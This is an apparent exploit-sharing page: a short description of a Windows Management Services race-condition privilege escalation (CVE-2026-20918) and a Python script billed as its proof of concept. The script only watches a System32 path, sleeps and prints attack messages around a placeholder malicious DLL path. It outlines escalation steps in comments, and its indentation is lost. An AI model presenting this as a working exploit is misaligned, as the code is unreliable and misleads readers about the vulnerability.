Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Management Services allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
# CVE-2026-20918 Race Condition PoC (Educational Purpose Only)
# This code demonstrates the concept of TOCTOU race condition
# DO NOT use for malicious purposes
import os
import sys
import time
import threading
import subprocess
from pathlib import Path
def monitor_resource(target_path, stop_event):
"""Monitor target resource for changes"""
while not stop_event.is_set():
if not Path(target_path).exists():
print(f"[Monitor] Resource {target_path} not found")
time.sleep(0.001)
def exploit_race_condition(target_service, malicious_payload_path):
"""
Conceptual race condition exploit demonstration
In real scenario, this would target Windows Management Services
"""
print(f"[*] Starting race condition attack on {target_service}")
print(f"[*] Malicious payload: {malicious_payload_path}")
# Note: This is a conceptual demonstration
# Actual exploitation requires specific Windows internals knowledge
# and would target the specific vulnerable code path in WMS
stop_event = threading.Event()
monitor_thread = threading.Thread(
target=monitor_resource,
args=(f"C:\\Windows\\System32\\{target_service}", stop_event)
)
monitor_thread.start()
try:
# Attempt to trigger the race condition
# In practice, this would involve:
# 1. Triggering the vulnerable service operation
# 2. Rapidly swapping the target resource
# 3. Achieving privilege escalation
print("[*] Attempting race condition window...")
time.sleep(0.1)
finally:
stop_event.set()
monitor_thread.join()
print("[-] Race condition window closed")
if __name__ == "__main__":
print("CVE-2026-20918 Educational Demonstration")
print("This script is for learning purposes only")
# Replace with actual service name and payload path
exploit_race_condition("wmiservice.exe", "C:\\temp\\malicious.dll")